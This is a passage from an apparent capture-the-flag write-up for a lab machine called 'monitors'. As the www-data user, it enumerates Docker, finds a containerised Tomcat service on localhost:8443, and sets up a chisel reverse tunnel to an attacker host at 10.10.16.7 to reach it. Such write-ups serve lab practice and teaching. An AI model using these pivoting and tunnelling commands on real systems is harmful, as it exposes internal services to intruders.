7 :8443

# docker checks
www-data@monitors:/tmp$ docker --version
Docker version 20.10.6, build 370c289
www-data@monitors:/tmp$ docker ps [OR] docker images
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json: dial unix /var/run/docker.sock: connect: permission denied

# something is running locally on 8443
www-data@monitors:/tmp$ ps fauxwww
[truncated]
root       1660  0.0  2.0 1344420 82372 ?       Ssl  19:07   0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root       2097  0.0  0.1 479380  4044 ?        Sl   19:07   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443

# some docker container is running and is proxies locally over localhost:8443
# using the __curl function we setup earlier

www-data@monitors:/tmp$ __curl http://localhost:8443 
[OR] www-data@monitors:/tmp$ __curl http://172.17.0.2:8443
Bad Request
This combination of host and port requires TLS.
# tried https but __curl function seems to fail

# port forward using chisel
$ chisel server -p 8000 --reverse
2021/10/05 13:33:36 server: Reverse tunnelling enabled
2021/10/05 13:33:36 server: Fingerprint p4MuxXifzJJfj+T/AfjIj6YtFtdZQOj09luTvAbvI/w=
2021/10/05 13:33:36 server: Listening on http://0.0.0.0:8000
2021/10/05 13:34:04 server: session#1: tun: proxy#R:8443=>8443: Listening

www-data@monitors:/tmp$ chmod +x chisel
www-data@monitors:/tmp$ ./chisel client 10.10.16.7:8000 R:8443:127.0.0.1:8443
2021/10/05 20:36:14 client: Connecting to ws://10.10.16.7:8000
2021/10/05 20:36:16 client: Connected (Latency 69.896467ms

https://127.0.0.1:8443/
HTTP Status 404 – Not Found
Type Status Report
Message Not found
Description The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.
Apache Tomcat/9.0.31

# as its running inside docker and we don't have docker group using www-data, back to enumerations

Last updated